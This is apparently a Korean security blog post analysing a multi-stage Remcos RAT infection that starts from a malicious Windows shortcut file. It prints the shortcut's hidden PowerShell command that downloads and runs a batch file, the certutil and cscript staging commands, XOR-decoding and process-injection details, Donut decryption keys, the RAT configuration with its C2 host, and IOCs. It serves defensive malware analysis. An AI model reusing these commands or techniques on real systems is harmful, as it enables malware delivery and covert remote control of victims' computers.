본문 바로가기

Reversing/Malware Analysis

[Remcos] 바로가기(.lnk) 기능을 활용한 악성코드 분석

목차


1. 개요
   1.1) 분석 배경
   1.2) 유사 공격 기법 비교 (Cobalt Strike)
   1.3) 전체 공격 흐름


2. 상세 분석
   2.1) LNK 파일 분석 (초기 침투)
   2.2) Stage 1 - 난독화된 BAT 파일 분석
   2.3) Stage 2 - 정상 위장 JavaScript 분석
   2.4) Stage 3 - 숨겨진 악성 JavaScript 분석
   2.5) Stage 4 - AutoIt 로더 및 스크립트 분석
   2.6) Stage 5 - 쉘코드 분석 (Donut Loader)
   2.7) Stage 6 - 최종 페이로드 분석 (Remcos Agent)


3. 결론
   
부록

   1) MITRE ATT&CK

   2) IOC (Indicator of Compromise)

 

 

1. 개요

1.1) 분석 배경

 

최근 악성코드는 단순 실행 파일 형태를 벗어나, 정상 파일 포맷과 시스템 기능을 악용하는 다단계 공격 체인 형태로 진화하고 있다. 특히 Windows 바로가기 파일(.lnk)은 사용자의 의심을 최소화하면서도 다양한 명령을 은닉해 실행할 수 있다는 점에서 여전히 효과적인 초기 침투 벡터로 활용되고 있다.

 

특히 단순 명령 실행을 넘어, LNK 파일 내부에 난독화된 PowerShell 명령을 포함하거나, 실행 경로를 교묘하게 조작하여 정상 파일을 실행하는 것처럼 보이게 만드는 등 사용자 인지를 우회하는 기법이 적극적으로 사용되고 있다.

 

그림1) Remcos RAT 로고
그림2) Remcos RAT 지원 기능

  

대상 샘플에서 최종 페이로드로 사용되는 Remcos RAT는 2016년 하반기 해킹 포럼을 통해 처음 판매된 상용 원격 관리 도구(RAT)로, 초기에는 합법적인 원격 제어 목적을 내세운 소프트웨어였다. 그러나 출시 이후 지속적인 기능 업데이트를 거치면서 점차 공격자들에게 매력적인 도구로 자리 잡았고, 실제 공격 환경에서도 활발히 사용되기 시작했다.

 

실제 위협 사례에서도 Remcos는 꾸준히 등장하고 있으며, 현재까지도 지속적으로 변형 및 유포되고 있는 대표적인 RAT 계열 악성코드 중 하나이다.

 

 

 

1.2) 유사 공격 기법 비교 (Cobalt Strike)

이와 관련하여 비슷한 사례를 떠올려 보자면 Cobalt Strike를 예로 들 수 있겠으나, 두 사례는 사실 근본적인 출발점에서 차이가 있다. Cobalt Strike는 본래 레드팀의 침투 테스트를 목적으로 개발된 보안 도구였으나, 이후 크랙 버전이 유출되면서 공격자들에게 널리 악용된 사례이다. 반면 Remcos RAT는 상용 원격 관리 도구로 출시되었음에도 불구하고, 제공하는 기능 구성 자체가 단순 관리 도구의 범주를 넘어선다는 점에서 차이가 있다.

 

실제로 Remcos는 키로깅, 화면 녹화, 장치 제어, 지속성 확보 등 전형적인 악성코드 기능을 기본적으로 포함하고 있으며, 이는 정상적인 원격 관리 소프트웨어와는 분명한 간극을 보인다. 이러한 점을 고려했을 때, 해당 도구는 일정 부분 공격자 수요를 염두에 둔 상업적 목적이 반영되었을 가능성도 배제하기 어렵다. 

 

 

1.3) 전체 공격 흐름

그림3) 공격 흐름

 

본 글에서는 .lnk 파일을 시작으로 CMD → PowerShell → BAT → JavaScript → AutoIt → Shellcode → RAT으로 이어지는 다단계 감염 구조를 분석한다. LNK 파일은 cmd.exe를 통해 PowerShell을 실행하고, 외부에서 BAT 파일을 다운로드한다. 이후 BAT 내부에 포함된 데이터를 certutil.exe로 디코딩하여 JavaScript 파일을 생성 및 실행한다.

 

JavaScript는 AutoIt 로더, 스크립트, 암호화된 쉘코드를 드롭한 뒤, 정상 프로세스인 colorcpl.exe에 쉘코드를 인젝션한다. 각 단계는 난독화 및 은닉 기법이 적용되어 있으며, 최종적으로는 메모리 상에서 실행되는 형태의 Remocos RAT 원격 제어 악성코드로 이어진다.

 

 

2. 상세 분석

2.1) LNK 파일 분석 (초기 침투)

그림4) PowerShell 명령을 수행하는 악의적인 LNK (바로가기) 파일

 

LNK 파일은 원래 특정 프로그램이나 파일을 실행하기 위한 바로가기 기능을 제공하지만, 대상 경로(Target)에 실행 인자를 포함할 수 있다는 점을 악용하면 임의의 명령을 실행할 수 있다.

 

분석한 결과, cmd.exe를 통해 PowerShell이 호출되며, mediafire.com에 업로드된 악성 BAT 파일을 다운로드하고 실행하는 구조로 확인되었다. 

Arguments
C:\Windows\System32\cmd.exe Cmd /c 
pOweRsHelL  -ex bypASs -nop  -W hIddEN invoKE-weBREquEst 
-Uri  'https://www.mediafire[.]com/file_premium/k8vhisk33x9t4fn/Sky_Final.cmd/file' 
-OuTFIlE  '%aPpdaTA%\Sky_Final.cmd'  ; 
INVoKE-ItEM  '%appDatA%\Sky_Final.cmd'

 

 

2.2) Stage 1 - 난독화된 BAT 파일 분석

그림5) 난독화 되어 있는 bat 스크립트

 

PowerShell 명령을 통해 다운로드된 BAT 파일(Sky_Final.cmd)은 %AppData% 경로에 다운로드 되며, 분석을 방해하기 위해 아랍어 텍스트를 노이즈로 활용한 난독화가 적용되어 있다. %TUAH%, %vELV%, %cAUI%, %wlea%와 같은 변수들이 실제 문자열을 감싸는 형태로 사용되며, 그 사이에 삽입된 아랍어 및 랜덤 문자열은 의미 없는 쓰레기값으로 구성되어 분석을 어렵게 만든다.

 

그림6) Stage2 자바스크립트 파일 생성

 

쓰레기값 사이에서 실제 동작하는 코드만 선별하면, 최종적으로 실행되는 명령어를 조립할 수 있다.

해당 스크립트는 svCD 변수에 set 명령을 저장한 뒤, 이를 활용해 다수의 단일 문자 변수들을 간접적으로 정의하는 방식을 사용한다. 이후 각 변수에 저장된 문자들을 순차적으로 추출하고 결합함으로써, 실제 실행되는 명령어를 구성한다.

 

그림7) 서명 코드 블록으로 위장한 인코딩된 자바스크립트

 

배치 파일 내부에는 -----BEGIN X509 CRL----- 형태의 서명 블록으로 위장된 데이터가 포함되어 있다. 그러나 해당 내용은 실제 인증서나 CRL 정보가 아니라, JavaScript 코드가 Base64로 인코딩된 데이터이다.

 

정상적인 서명 블록처럼 보이도록 위장하여 분석을 혼동시키는 동시에, 내부에 숨겨진 스크립트를 복원하기 위한 데이터로 활용되는 구조이다.

그림8) 자바스크립트 디코딩 후 실행

 

실제 조립된 명령어를 추출하면, 총 3가지 단계의 명령이 수행되는 것을 확인할 수 있다.

첫 번째 명령은 주석 처리되어 있으며, BatCloak이라는 배치 파일 난독화 도구의 GitHub 링크가 포함되어 있다. 이를 통해 해당 스크립트가 BatCloak을 이용해 난독화되었음을 유추할 수 있다.

 

두 번째 명령은 Windows 내장 도구인 certutil을 사용하여, 서명 블록으로 위장된 데이터를 디코딩하는 역할을 한다. 이 과정에서 Base64로 인코딩된 JavaScript 코드가 복원되며, Documents 경로에 Y_<random>.js 형태로 파일이 생성된다.

 

세 번째 명령은 cscript.exe를 통해 WSH(Windows Script Host) 환경에서 해당 JavaScript 파일을 실행하는 단계로, 이후 추가 페이로드가 실행되는 흐름으로 이어진다.

stage
[1] rem hxxps://github[.]com/ch2sh/BatCloak #주석
[2] certutil  -f -decodeHex "C:\Users\hostname\Desktop\Sky_Final.cmd" "C:\Users\hackbaby2\Documents\Y_22327.js" 9 
[3] cscript.exe  /inologo "C:\Users\hostname\hackbaby2\Documents\Y_22327.js"

 

 

2.3) Stage 2 - 정상 위장 JavaScript 분석

그림9) 숨겨져 있는 악성 스크립트

 

생성된 JavaScript 파일에는 정상적인 코드가 포함되어 있으며, 약 4,534번째 줄에서, 실제 악성 행위를 수행하는 코드가 한 줄로 작성되어 숨겨져 있다.

 

즉, 전체 파일은 정상 스크립트처럼 보이도록 위장되어 있지만, 그 내부 사이에 한 줄짜리 악성 스크립트가 포함되어 있어, 단순 열람만으로는 악성 행위를 쉽게 확인하기 어렵다.

 

 

2.4) Stage 3 - 숨겨진 악성 JavaScript 분석

그림10) 난독화가 적용된 자바스크립트 코드

 

악성 자바스크립트 코드는 심하게 난독화되어 있으며, 불필요한 더미 코드(dummy)와 반복되는 변수명으로 실제 로직을 숨기고 있다. 중간에 유니코드 문자열, 이모지, 특수문자 같은 쓰레기 문자열을 삽입해 시각적으로 분석을 방해하며, 단순히 파일을 열어보는 것만으로는 악성 행위를 바로 확인하기 어렵다.

 

그림11) 페이로드 파일 드롭
그림12) 드롭 후 실행 명령

 

난독화된 JavaScript를 동적 분석을 통해 추적한 결과, 스크립트는 총 3개의 파일을 C:\Users\Public\Libraries 경로에 드롭하는 동작을 수행한다. 이후 드롭된 실행 파일을 호출하면서, 동일한 경로에 생성된 .png 파일을 인자로 전달하여 실행하는 것을 확인할 수 있다. 실제 실행 명령은 다음과 같다.

Command line
"C:\Users\Public\Libraries\LTXQUJRFQTEVXUHAMFSNSYYPTUGKCNPYYNHQXQLXVTGDYAJVVNRBNCGMAPCLGHWOG.exe" C:\Users\Public\Libraries\LTXQUJRFQTEVXUHAMFSNSYYPTUGKCNPYYNHQXQLXVTGDYAJVVNRBNCGMAPCLGHWOG.png

 

 

2.5) Stage 4 - AutoIt 로더 및 스크립트 분석

그림13) 파일 구성

 

stage3 JavaScript에서 드롭하는 3개의 파일 구성은 다음과 같다.

  1. 실행 파일 (.exe) – AutoIt 기반 로더
  2. PNG 파일 (.png) – 난독화된 AutoIt 스크립트
  3. BIN 파일 (.bin) – Donut Loader로 구성된 쉘코드

실행 구조를 살펴보면, 명령줄에서 확인한 것처럼 AutoIt 로더(.exe)가 드롭된 PNG 파일을 스크립트로 인식하여 실행한다.

그림14) 난독화된 오토잇 스크립트

 

오토잇 스크립트 내부에 디버그 출력을 추가하면 난독화된 코드의 복호화 과정을 실시간으로 확인할 수 있다. 작성한 코드는 복호화된 문자열을 콘솔에 출력하도록 구성되어 있으며, 이를 통해 PNG 파일로 위장된 스크립트의 내부 동작을 단계별로 분석할 수 있다.

 

Func FFC($msg)
    ConsoleWrite("[DEBUG] " & $msg & @CRLF)
EndFunc

Func FFC($msg)
    ConsoleWrite("[DEBUG] " & $msg & @CRLF)
EndFuncFunc FC1($FC2)
    Local $FC3 = Binary($FC2)
    Local $FC4 = ''
    For $FC5 = 1 To BinaryLen($FC3)
        $FC4 &= Chr(BitXOR(BinaryMid($FC3, $FC5, 1), 99))
    Next

FFC("DECODE -> " & $FC4)
    Return $FC4
EndFunc

 

디버그 로그를 통해 난독화된 오토잇 스크립트의 동작을 추적한 결과, CreateProcessA로 C:\Windows\Syswow64\colorcpl.exe를 실행한 뒤 NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx를 순차적으로 호출하며 colorcpl.exe에 코드 인젝션을 수행하는 구조임을 확인할 수 있다.

Debug Log
[DEBUG] DECODE -> CreateProcessA
[DEBUG] DECODE -> C:\Windows\Syswow64\colorcpl.exe
[DEBUG] DECODE -> CloseHandle
[DEBUG] DECODE -> GetModuleHandleA
[DEBUG] DECODE -> GetProcAddress
[DEBUG] DECODE -> NtAllocateVirtualMemory
[DEBUG] DECODE -> NtWriteVirtualMemory
[DEBUG] DECODE -> NtCreateThreadEx

 

 

그림15) 쉘코드 복호화 로직

 

스크립트 내부에는 쉘코드를 XOR 방식으로 복호화하는 루틴이 포함되어 있다. 앞서 드롭된 쉘코드를 읽어 바이너리 데이터를 메모리에 로드한 뒤, 특정 키 값을 이용하여 각 바이트를 순차적으로 XOR 연산하여 원본 쉘코드로 복원하는 구조를 가진다.

 

복호화 루프 이후에 파일 쓰기 코드를 추가하여, 메모리에 존재하는 디코딩된 쉘코드를 디스크에 저장하도록 구성하였다. 

Local $hFile = FileOpen(@ScriptDir & "\dump_shellcode.bin", 18)

For $i = 1 To $FC11
    FileWrite($hFile, Chr(DllStructGetData($FC13,1,$i)))
Next
FileClose($hFile)

 

 

그림16) (좌) 쉘코드 복호화 전, (우) 쉘코드 복호화 후

 

복호화가 완료된 쉘코드를 확인한 결과, 주요 시작 지점에서 E8 opcode가 나타나는 것을 확인할 수 있다.

E8은 x86 아키텍처에서 CALL 명령을 의미한다.

 

그림17) 정상 프로세스 생성 후 코드인젝션 수행

 

복호화된 쉘코드를 CreateProcessA로 생성한 colorcpl.exe 프로세스를 대상으로 NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx를 순차적으로 호출하여 코드 인젝션을 수행한다.

 

이후 실제 행위를 확인하기 위해 모니터링 도구로 네트워크 활동을 추적한 결과, colorcpl.exe 프로세스에서 외부 통신이 발생하는 것이 관찰된다. colorcpl.exe는 단순 디스플레이 색상 설정과 관련된 정상 프로세스로, 자체적으로 C2와 네트워크 통신을 수행할 이유가 없다.

 

 

2.6) Stage 5 - 쉘코드 분석 (Donut Loader)

그림18) PE 파싱
그림19) API Resolve 작업

 

쉘코드에서는 필요한 API를 동적으로 가져오기 위해 API Resolve 작업을 수행한다. TEB → PEB → PEB_LDR_DATA 구조를 따라가며 InLoadOrderModuleList를 순회하여 현재 프로세스에 로드된 모듈 리스트를 획득하고, 이를 통해kernel32.dll, ntdll.dll과 같은 주요 모듈의 베이스 주소를 확보한다.

 

이후 각 모듈의 베이스 주소를 기준으로 e_lfanew를 통해 PE 헤더로 이동하고, Export Directory의 RVA를 확인한 뒤 이를 VA로 변환하여 Export Table을 순회함으로써 필요한 API 주소를 동적으로 추출한다.

 

추출되는 주요 API는 아래 표와 같다.

VirtualAlloc  VirtualFree  RtlExitUserProcess  LoadLibraryA 
GetProcAddress  GetModuleHandleA     

 

 

그림20) Donut 프레임워크롤 통해 생성된 쉘코드

 

대상 쉘코드를 VirusTotal에서 조회한 결과, Donut 프레임워크를 통해 생성된 쉘코드로 확인된다. Donut은 .NET, EXE, DLL과 같은 다양한 PE 형태의 페이로드를 디스크에 드롭하지 않고, 메모리 상에서 직접 실행할 수 있도록 쉘코드 형태로 변환해주는 도구이다. 내부적으로는 원본 페이로드를 암호화된 상태로 포함하고 있으며, 실행 시 이를 복호화한 뒤 메모리에 로드하여 실행하는 구조를 가진다.

 

그림21) 내부에 포함된 페이로드 복호화 로직
그림22) 암/복호화 키 구성

 

암호화 방식은 Chaskey 기반의 ARX(Add-Rotate-XOR) 블록 암호를 CTR 모드로 사용하는 것이 특징이다. 구체적으로 ROL(5, 8, 16, 7, 13, 16) 회전 상수를 기반으로 16라운드 연산을 수행하여 키스트림을 생성하고, 이를 암호화된 페이로드와 XOR 연산하여 복호화를 진행한다. 

구성
Master Key 81 BD 22 D6 A3 D9 05 58 23 3E 2D 1F 59 00 BF E6
Nonce 블록 D4 DD 13 CE CF 65 61 72 DF 16 DD 05 8B 90 B6 AB
Size 0x00082584

 

그림23) 쉘코드에서 추출된 Remocos Agent 파일

 

쉘코드 내부에 포함된 복호화된 페이로드를 확인한 결과, 0x1288 오프셋 지점에서 MZ 헤더가 나타나는 것을 확인할 수 있으며, 최종 페이로드로 Remcos Agent 실행 파일이 포함되어 있는 것을 확인할 수 있다.

.

그림24) 동적 라이브러리 로드

 

페이로드 복호화 이후, API Resolve 단계에서 획득한 LoadLibraryA 함수를 활용하여 Agent 페이로드 실행에 필요한 라이브러리를 동적으로 로드한다. 또한, 앞서 수행한 PE 파싱 기법을 통해 각 모듈의 Export Table을 순회하며 필요한 API 주소를 직접 추출한다.

 

로드되는 주요 라이브러리 목록과 API 목록은 아래 표와 같다.

wininet.dll mscoree.dll shell32.dll urlmon.dll
gdiplus.dll User32.dll Psapi.dll shcore.dll
ntdll.dll kernel32.dll Shlwapi.dll Iphlpapi.dll
Advapi32.dll ws2_32.dll    

- 라이브러리 목록 -

 

VirtualAlloc  VirtualFree  VirtualQuery  VirtualProtect 
Sleep  MultiByteToWideChar  GetUserDefaultLCID  WaitForSingleObject 
CreateThread  CreateFileA  GetFileSizeEx  GetThreadContext 
GetCurrentThread GetCurrentProcess  GetCommandLineA  GetCommandLineW 
RtlAllocateHeap  RtlReAllocateHeap  GetProcessHeap HeapFree 
GetLastError  CloseHandle  CommandLineToArgvW  SafeArrayCreate 
SafeArrayCreateVector  SafeArrayPutElement  SafeArrayDestroy  SafeArrayGetLBound 
SafeArrayGetUBound SysAllocString SysFreeString  LoadTypeLib 
CoInitializeEx  CoCreateInstance  CoUninitialize  RtlEqualUnicodeString 
RtlEqualString  RtlUnicodeStringToAnsiString  RtlInitUnicodeString  RtlExitUserThread 
RtlExitUserProcess  RtlCreateUnicodeString  RtlGetCompressionWorkSpaceSize  RtlDecompressBuffer 
NtContinue  ZwCreateSection  NtMapViewOfSection  NtUnmapViewOfSection

- API 함수 목록 -

 

 

그림25) donut-decryptor

 

수동으로 페이로드를 추출하는 방법 외에도, Donut 로더로 생성된 쉘코드는 donut-decryptor 도구를 사용하면 쉘코드에 포함된 암호화된 페이로드를 복호화하여 원본 PE 파일 형태로 손쉽게 복원할 수 있다. 

donut-decryptor
pip install donut-decryptor
donut-decryptor.exe j_decoded --outdir extracted_payload

 

 

2.7) Stage 6 - 최종 페이로드 분석 (Remcos Agent)

그림26) 최종 페이로드 (Remcos Agent)

File name e91k3uhli.exe
MD5 274AC03C7747E5EAE1C4936D0FD21F01
SHA-256 1A7F6A80805DC362179DF859B0D4AB1F015F95C8E6C1042ECF43E877FDF4CEAE
File type Win32 EXE
File size  517.30 KB (529720 bytes)
Creation Time 2026-03-01 07:06:30 UTC

 

그림27) 확인된 Remcos Agent 관련 문자열

 

최종적으로 Remcos Agent 파일을 확보하면, 내부에 포함된 설정(Config) 데이터를 추출할 수 있다. C2 주소는 duckdns 기반 도메인을 사용하며, 특정 포트를 통해 원격 서버와 통신하도록 구성되어 있다. 또한 Botnet 이름은 SkyHost1로 설정되어 있어 공격자가 해당 감염 호스트를 특정 그룹으로 관리하고 있음을 알 수 있다.

 

지속성 측면에서는 HKCU\Run, HKLM\Run 레지스트리 등록을 통해 시스템 재부팅 이후에도 자동 실행되도록 설정되어 있으며, 파일은 %LOCALAPPDATA% 경로에 remcos.exe 이름으로 복사되도록 구성되어 있다.

 

반면, 키로깅, 스크린샷, 오디오 녹음 등의 기능은 기본적으로 비활성화되어 있으며, 필요 시 공격자가 원격에서 활성화할 수 있는 구조로 보인다. Mutex 값(Rmc-NVJF9O)을 통해 중복 실행을 방지하는 로직도 포함되어 있다.

{
  "C2": [
          "bestgoodthingsforentiremylifewithbestous[.]duckdns.org:14645"
  ],
  "Botnet": "SkyHost1",
  "Options": {
          "Connect_interval": "1",
          "Install_flag": "False",
          "Install_HKCU\Run": "True",
          "Install_HKLM\Run": "True",
          "Install_HKLM\Explorer\Run": "1",
          "Install_HKLM\Winlogon\Shell": "100000",
          "Setup_path": "%LOCALAPPDATA%",
          "Copy_file": "remcos.exe",
          "Startup_value": "False",
          "Hide_file": "False",
          "Mutex_name": "Rmc-NVJF9O",
          "Keylog_flag": "0",
          "Keylog_path": "%LOCALAPPDATA%",
          "Keylog_file": "logs.dat",
          "Keylog_crypt": "False",
          "Hide_keylog": "False",
          "Screenshot_flag": "False",
          "Screenshot_time": "5",
          "Take_Screenshot": "False",
          "Screenshot_path": "%APPDATA%",
          "Screenshot_file": "Screenshots",
          "Screenshot_crypt": "False",
          "Mouse_option": "False",
          "Delete_file": "False",
          "Audio_record_time": "5",
          "Audio_path": "1",
          "Audio_dir": "MicRecords",
          "Connect_delay": "0",
          "Copy_dir": "Remcos",
          "Keylog_dir": "remcos"
  }
}

 

그림28) C2 활성화 여부

 

현재 C2 서버로 사용되는 IP 96[.]44.159.151는 지리적 위치상 미국(US)으로 추정되며, 추가적인 접근이나 동적 분석 수행 시 실제 공격자 인프라와 직접 연결될 가능성이 있으므로 주의가 필요하다.

 

 

 

3. 결론

본 분석에서는 LNK 파일을 초기 침투 벡터로 활용한 다단계 감염 체인을 확인할 수 있었다. 공격자는 cmd → PowerShell → BAT → JavaScript → AutoIt → Shellcode → RAT으로 이어지는 단계적 실행 구조를 통해 정상 파일과 시스템 도구를 악용하며 탐지를 회피한다.

 

특히, MediaFire와 같은 정상적인 외부 호스팅 서비스를 이용하여 페이로드를 다운로드하고, certutil, cscript, AutoIt 로더 등 Windows 기본 유틸리티를 적극 활용하는 점에서 Living-off-the-Land(LoL) 기법이 두드러지게 나타난다. 또한 PNG 파일 위장, 문자열 난독화, XOR 기반 복호화 등 다양한 은폐 기법이 적용되어 분석을 어렵게 만든다.

 

최종적으로 쉘코드는 정상 프로세스인 colorcpl.exe에 코드 인젝션을 수행하고, Donut 기반 로더를 통해 메모리 상에서 Remcos Agent를 실행하여 C2 서버에서 원격 제어가 가능한 상태로 전환된다.

 

 

 

부록

1) MITRE ATT&CK

Tactics Techniques
Execution (T1204.002) User Execution: Malicious File
(T1059.001) Command and Scripting Interpreter: PowerShell
(T1059.003) Command and Scripting Interpreter: Windows Command Shell
Persistence (T1547.001) Registry Run Keys / Startup Folder
Defense Evasion (T1140) Deobfuscate/Decode Files or Information
(T1055.002) Process Injection: Portable Executable Injection
(T1218) Signed Binary Proxy Execution
(T1070.004) Indicator Removal: File Deletion
(T1027.010) Obfuscated Files or Information: Command Obfuscation
(T1027.009) Obfuscated Files or Information: Embedded Payloads
Discovery (T1518) Software Discovery
Collection (T1005) Data from Local System
Command and Control (T1095) Non-Application Layer Protocol

 

2) IOC (Indicator of Compromise)

Filename SHA256
Sky_Final.cmd A6C256C347E3E444C36516D00069E0AEA51399CAFBB0AA010AC950B7EF6D0BE9
Y_< RANDOM>.js B0B982A96D681325A5C76C20C1297ACDCED14D283DCAB45C684FBE51163101E2
LTXQUJRFQTEVXUHAMFSNSYYPTUGKCNPYYNHQXQLXVTGDYAJVVNRBNCGMAPCLGHWOG F7C068DB5B4E0E147A3219CB1A50F7D8E4A15B0EA3390AD7C2BF398E04D90FEC
LTXQUJRFQTEVXUHAMFSNSYYPTUGKCNPYYNHQXQLXVTGDYAJVVNRBNCGMAPCLGHWOG.exe 92C6531A09180FAE8B2AAE7384B4CEA9986762F0C271B35DA09B4D0E733F9F45
LTXQUJRFQTEVXUHAMFSNSYYPTUGKCNPYYNHQXQLXVTGDYAJVVNRBNCGMAPCLGHWOG.png C3F361B6511EB9131B1031A7B8CCDB50EDBC08305866D6A64EA9A830A499D6EC
e91k3uhli.exe 1A7F6A80805DC362179DF859B0D4AB1F015F95C8E6C1042ECF43E877FDF4CEAE

 

C2
bestgoodthingsforentiremylifewithbestous[.]duckdns.org 96[.]44.159.151

 

URL
hxxps://www.mediafire[.]com/file_premium/k8vhisk33x9t4fn/Sky_Final.cmd/file

 

 

 

 

참고 문헌

[1] https://medium.com/@s12deff/generating-and-executing-shellcode-with-donut-97970d5df044
(Generating and Executing Shellcode with Donut)

 

[2] https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2

(REMCOS: A New RAT In The Wild)